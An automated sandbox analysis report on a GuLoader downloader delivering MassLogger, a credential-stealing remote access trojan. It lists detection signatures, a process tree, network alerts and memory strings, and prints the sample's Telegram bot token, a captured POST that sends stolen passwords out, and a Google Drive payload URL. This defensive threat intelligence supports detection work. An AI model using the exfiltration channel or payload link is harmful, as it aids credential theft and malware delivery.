Edit tour

Windows Analysis Report
c7WJL1gt32.exe

Overview

General Information

Sample name:	c7WJL1gt32.exe renamed because original name is a hash value
Original sample name:	08972ea67ce0756e8af06aeea9628d2ec00392351f8aaaf69cde005f79d74051.exe
Analysis ID:	1588956
MD5:	7549ee46b6e4391bb5d33788fb901e8d
SHA1:	d37b7af1fd0bbb25904818f93b4f992af8631fdd
SHA256:	08972ea67ce0756e8af06aeea9628d2ec00392351f8aaaf69cde005f79d74051
Tags:	exeGuLoaderuser-adrian__luca
Infos:

Detection

GuLoader, MassLogger RAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected GuLoader

Yara detected MassLogger RAT

Yara detected Telegram RAT

AI detected suspicious sample

Disable Task Manager(disabletaskmgr)

Disables CMD prompt

Disables the Windows task manager (taskmgr)

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

c7WJL1gt32.exe (PID: 7320 cmdline: "C:\Users\user\Desktop\c7WJL1gt32.exe" MD5: 7549EE46B6E4391BB5D33788FB901E8D)

c7WJL1gt32.exe (PID: 7856 cmdline: "C:\Users\user\Desktop\c7WJL1gt32.exe" MD5: 7549EE46B6E4391BB5D33788FB901E8D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendMessage"}

Threatname: MassLogger

{"EXfil Mode": "Telegram", "Telegram Token": "7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc", "Telegram Chatid": "7382809095"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000004.00000002.2978658417.0000000035B4A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000004.00000002.2978658417.0000000035B4A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.2978658417.0000000035B4A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.2418431968.00000000050B4000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: c7WJL1gt32.exe PID: 7856	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: c7WJL1gt32.exe PID: 7856	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: c7WJL1gt32.exe PID: 7856	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 2 entries

Suricata Signatures

ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:39:55.628697+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.4	49968	149.154.167.220	443	TCP
2025-01-11T07:39:57.862466+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.4	49983	149.154.167.220	443	TCP
2025-01-11T07:39:59.799694+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.4	49999	149.154.167.220	443	TCP
2025-01-11T07:40:05.839276+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.4	50014	149.154.167.220	443	TCP
2025-01-11T07:40:11.469514+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.4	50016	149.154.167.220	443	TCP
2025-01-11T07:40:17.817338+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.4	50018	149.154.167.220	443	TCP
2025-01-11T07:40:28.478131+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.4	50021	149.154.167.220	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:39:47.899216+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49921	132.226.8.169	80	TCP
2025-01-11T07:39:54.664778+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49921	132.226.8.169	80	TCP
2025-01-11T07:39:56.992895+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49977	132.226.8.169	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:39:42.346458+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49890	216.58.206.46	443	TCP

Joe Security ANOMALY Telegram Send File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:39:55.319636+0100	1810008	1	Potentially Bad Traffic	192.168.2.4	49968	149.154.167.220	443	TCP
2025-01-11T07:39:57.585132+0100	1810008	1	Potentially Bad Traffic	192.168.2.4	49983	149.154.167.220	443	TCP
2025-01-11T07:39:59.520971+0100	1810008	1	Potentially Bad Traffic	192.168.2.4	49999	149.154.167.220	443	TCP
2025-01-11T07:40:05.590667+0100	1810008	1	Potentially Bad Traffic	192.168.2.4	50014	149.154.167.220	443	TCP
2025-01-11T07:40:11.213482+0100	1810008	1	Potentially Bad Traffic	192.168.2.4	50016	149.154.167.220	443	TCP
2025-01-11T07:40:17.385598+0100	1810008	1	Potentially Bad Traffic	192.168.2.4	50018	149.154.167.220	443	TCP
2025-01-11T07:40:27.919829+0100	1810008	1	Potentially Bad Traffic	192.168.2.4	50021	149.154.167.220	443	TCP

HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31e0d8e507c4Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive

Source: c7WJL1gt32.exe, 00000004.00000002.2978658417.0000000035C8A000.00000004.00000800.00020000.00000000.sdmp, c7WJL1gt32.exe, 00000004.00000002.2978658417.0000000035C24000.00000004.00000800.00020000.00000000.sdmp, c7WJL1gt32.exe, 00000004.00000002.2978658417.0000000035B4A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: c7WJL1gt32.exe, 00000004.00000002.2978658417.0000000035C8A000.00000004.00000800.00020000.00000000.sdmp, c7WJL1gt32.exe, 00000004.00000002.2978658417.0000000035C24000.00000004.00000800.00020000.00000000.sdmp, c7WJL1gt32.exe, 00000004.00000002.2978658417.0000000035AA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: c7WJL1gt32.exe, 00000004.00000002.2978658417.0000000035C8A000.00000004.00000800.00020000.00000000.sdmp, c7WJL1gt32.exe, 00000004.00000002.2978658417.0000000035C24000.00000004.00000800.00020000.00000000.sdmp, c7WJL1gt32.exe, 00000004.00000002.2978658417.0000000035B4A000.00000004.00000800.00020000.00000000.sdmp, c7WJL1gt32.exe, 00000004.00000002.2978658417.0000000035AA0000.00000004.00000800.00020000.00000000.sdmp, c7WJL1gt32.exe, 00000004.00000002.2978658417.0000000035A94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: c7WJL1gt32.exe, 00000004.00000002.2980225295.0000000038282000.00000004.00000020.00020000.00000000.sdmp, c7WJL1gt32.exe, 00000004.00000002.2978658417.0000000035A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: c7WJL1gt32.exe, 00000004.00000002.2980225295.0000000038282000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/)
Source: c7WJL1gt32.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: c7WJL1gt32.exe, 00000004.00000002.2978658417.0000000035AB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: c7WJL1gt32.exe, 00000004.00000002.2978658417.0000000035A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: c7WJL1gt32.exe, 00000004.00000002.2978658417.0000000035C8A000.00000004.00000800.00020000.00000000.sdmp, c7WJL1gt32.exe, 00000004.00000002.2978658417.0000000035C24000.00000004.00000800.00020000.00000000.sdmp, c7WJL1gt32.exe, 00000004.00000002.2978658417.0000000035B4A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: c7WJL1gt32.exe, 00000004.00000002.2978658417.0000000035B4A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: c7WJL1gt32.exe, 00000004.00000002.2978658417.0000000035B4A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382
Source: c7WJL1gt32.exe, 00000004.00000003.2525192244.000000000545D000.00000004.00000020.00020000.00000000.sdmp, c7WJL1gt32.exe, 00000004.00000003.2525122829.000000000545D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: c7WJL1gt32.exe, 00000004.00000002.2954221736.00000000053E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: c7WJL1gt32.exe, 00000004.00000002.2954221736.0000000005423000.00000004.00000020.00020000.00000000.sdmp, c7WJL1gt32.exe, 00000004.00000002.2954749935.0000000006F20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1bncLeLVnb6OXPt4SnyT95T-ITWrz3Wd8
Source: c7WJL1gt32.exe, 00000004.00000002.2954221736.0000000005423000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1bncLeLVnb6OXPt4SnyT95T-ITWrz3Wd8S
Source: c7WJL1gt32.exe, 00000004.00000003.2559440809.000000000545D000.00000004.00000020.00020000.00000000.sdmp, c7WJL1gt32.exe, 00000004.00000002.2954221736.0000000005449000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: c7WJL1gt32.exe, 00000004.00000003.2525192244.000000000545D000.00000004.00000020.00020000.00000000.sdmp, c7WJL1gt32.exe, 00000004.00000003.2559440809.000000000545D000.00000004.00000020.00020000.00000000.sdmp, c7WJL1gt32.exe, 00000004.00000003.2525122829.000000000545D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1bncLeLVnb6OXPt4SnyT95T-ITWrz3Wd8&export=download
Source: c7WJL1gt32.exe, 00000004.00000002.2954221736.0000000005423000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1bncLeLVnb6OXPt4SnyT95T-ITWrz3Wd8&export=download%
Source: c7WJL1gt32.exe, 00000004.00000002.2954221736.000000000543D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1bncLeLVnb6OXPt4SnyT95T-ITWrz3Wd8&export=download2
Source: c7WJL1gt32.exe, 00000004.00000003.2559440809.000000000545D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1bncLeLVnb6OXPt4SnyT95T-ITWrz3Wd8&export=downloadob
Source: c7WJL1gt32.exe, 00000004.00000002.2978658417.0000000035AA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: c7WJL1gt32.exe, 00000004.00000002.2978658417.0000000035AA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: c7WJL1gt32.exe, 00000004.00000002.2978658417.0000000035AA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189
Source: c7WJL1gt32.exe, 00000004.00000003.2525192244.000000000545D000.00000004.00000020.00020000.00000000.sdmp, c7WJL1gt32.exe, 00000004.00000003.2525122829.000000000545D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: c7WJL1gt32.exe, 00000004.00000003.2525192244.000000000545D000.00000004.00000020.00020000.00000000.sdmp, c7WJL1gt32.exe, 00000004.00000003.2525122829.000000000545D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.google.com/translate_a/element.js
Source: c7WJL1gt32.exe, 00000004.00000003.2525192244.000000000545D000.00000004.00000020.00020000.00000000.sdmp, c7WJL1gt32.exe, 00000004.00000003.2525122829.000000000545D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.googleapis.com/_/translate_http/_/js/;report-uri
Source: c7WJL1gt32.exe, 00000004.00000003.2525192244.000000000545D000.00000004.00000020.00020000.00000000.sdmp, c7WJL1gt32.exe, 00000004.00000003.2525122829.000000000545D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com/analytics.js
Source: c7WJL1gt32.exe, 00000004.00000003.2525192244.000000000545D000.00000004.00000020.00020000.00000000.sdmp, c7WJL1gt32.exe, 00000004.00000003.2525122829.000000000545D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: c7WJL1gt32.exe, 00000004.00000003.2525192244.000000000545D000.00000004.00000020.00020000.00000000.sdmp, c7WJL1gt32.exe, 00000004.00000003.2525122829.000000000545D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: c7WJL1gt32.exe, 00000004.00000003.2525192244.000000000545D000.00000004.00000020.00020000.00000000.sdmp, c7WJL1gt32.exe, 00000004.00000003.2525122829.000000000545D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: c7WJL1gt32.exe, 00000004.00000003.2525192244.000000000545D000.00000004.00000020.00020000.00000000.sdmp, c7WJL1gt32.exe, 00000004.00000003.2525122829.000000000545D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932

Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.4:49890 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.129:443 -> 192.168.2.4:49896 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49968 version: TLS 1.2

Source: C:\Users\user\Desktop\c7WJL1gt32.exe

Code function: 0_2_0040558F GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,LdrInitializeThunk,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,LdrInitializeThunk,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,LdrInitializeThunk,ShowWindow,LdrInitializeThunk,LdrInitializeThunk,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,LdrInitializeThunk,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_0040558F

Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 0_2_004034A5 EntryPoint,LdrInitializeThunk,SetErrorMode,GetVersion,lstrlenA,LdrInitializeThunk,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,LdrInitializeThunk,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,LdrInitializeThunk,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,LdrInitializeThunk,ExitWindowsEx,ExitProcess,		0_2_004034A5
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_004034A5 EntryPoint,LdrInitializeThunk,SetErrorMode,GetVersion,lstrlenA,LdrInitializeThunk,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,LdrInitializeThunk,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,LdrInitializeThunk,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,LdrInitializeThunk,ExitWindowsEx,ExitProcess,		4_2_004034A5

Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 0_2_00404DCC	0_2_00404DCC
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 0_2_00406AF2	0_2_00406AF2
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 0_2_6CF11B5F	0_2_6CF11B5F
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_00404DCC	4_2_00404DCC
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_00406AF2	4_2_00406AF2
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_00154328	4_2_00154328
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_00158DF5	4_2_00158DF5
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_00155978	4_2_00155978
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_001519C4	4_2_001519C4
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_37B6C638	4_2_37B6C638
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_37B6CCA0	4_2_37B6CCA0
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_37B603AF	4_2_37B603AF
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_37B63318	4_2_37B63318
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_37B67848	4_2_37B67848
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_37B6E790	4_2_37B6E790
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_37B6E79F	4_2_37B6E79F
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_37B67F60	4_2_37B67F60
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_37B66EA0	4_2_37B66EA0
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_37B66E91	4_2_37B66E91
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_37B6DEE1	4_2_37B6DEE1
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_37B67628	4_2_37B67628
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_37B6BD88	4_2_37B6BD88
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_37B6CC91	4_2_37B6CC91
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_37B6B4F2	4_2_37B6B4F2
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_37B6EBF7	4_2_37B6EBF7
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_37B6E339	4_2_37B6E339
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_37B6DA89	4_2_37B6DA89
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_37B6AAE8	4_2_37B6AAE8
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_37B6C1F2	4_2_37B6C1F2
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_37B6C1E0	4_2_37B6C1E0
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_37B6B930	4_2_37B6B930
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_37B6B94A	4_2_37B6B94A
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_37B6B07F	4_2_37B6B07F
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_37B6F044	4_2_37B6F044
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_3831A9B0	4_2_3831A9B0
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_3831BA97	4_2_3831BA97
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_3831A360	4_2_3831A360
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_38319D10	4_2_38319D10
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_3831BDF0	4_2_3831BDF0
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_38318650	4_2_38318650
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_383196C8	4_2_383196C8
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_38314820	4_2_38314820
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_38314810	4_2_38314810
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_38317070	4_2_38317070
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_38317061	4_2_38317061
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_38311858	4_2_38311858
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_38310040	4_2_38310040
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_38311848	4_2_38311848
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_383120FC	4_2_383120FC
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_3831F130	4_2_3831F130
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_3831F120	4_2_3831F120
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_38312108	4_2_38312108
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_383129B8	4_2_383129B8
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_3831A9A0	4_2_3831A9A0
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_383129A8	4_2_383129A8
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_383151F8	4_2_383151F8
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_38315208	4_2_38315208
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_38313268	4_2_38313268
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_38315AB8	4_2_38315AB8
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_38315AA8	4_2_38315AA8
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_38313B18	4_2_38313B18
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_38313B08	4_2_38313B08
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_38316368	4_2_38316368
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_3831A352	4_2_3831A352
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_38316358	4_2_38316358
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_38317B4F	4_2_38317B4F
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_383143B9	4_2_383143B9
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_383143C8	4_2_383143C8
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_38316C18	4_2_38316C18
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_38311400	4_2_38311400
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_38316C09	4_2_38316C09
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_38311CB0	4_2_38311CB0
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_383174B8	4_2_383174B8
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_38311CA0	4_2_38311CA0
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_383174C8	4_2_383174C8
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_38319D00	4_2_38319D00
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_38312560	4_2_38312560
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_38312550	4_2_38312550
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_38314DB0	4_2_38314DB0
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_38314DA0	4_2_38314DA0
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_38312E10	4_2_38312E10
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_38315660	4_2_38315660
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_38315650	4_2_38315650
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_38318640	4_2_38318640
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_383136B0	4_2_383136B0
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_383196B8	4_2_383196B8
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_383136C0	4_2_383136C0
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_38315F10	4_2_38315F10
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_38315F01	4_2_38315F01
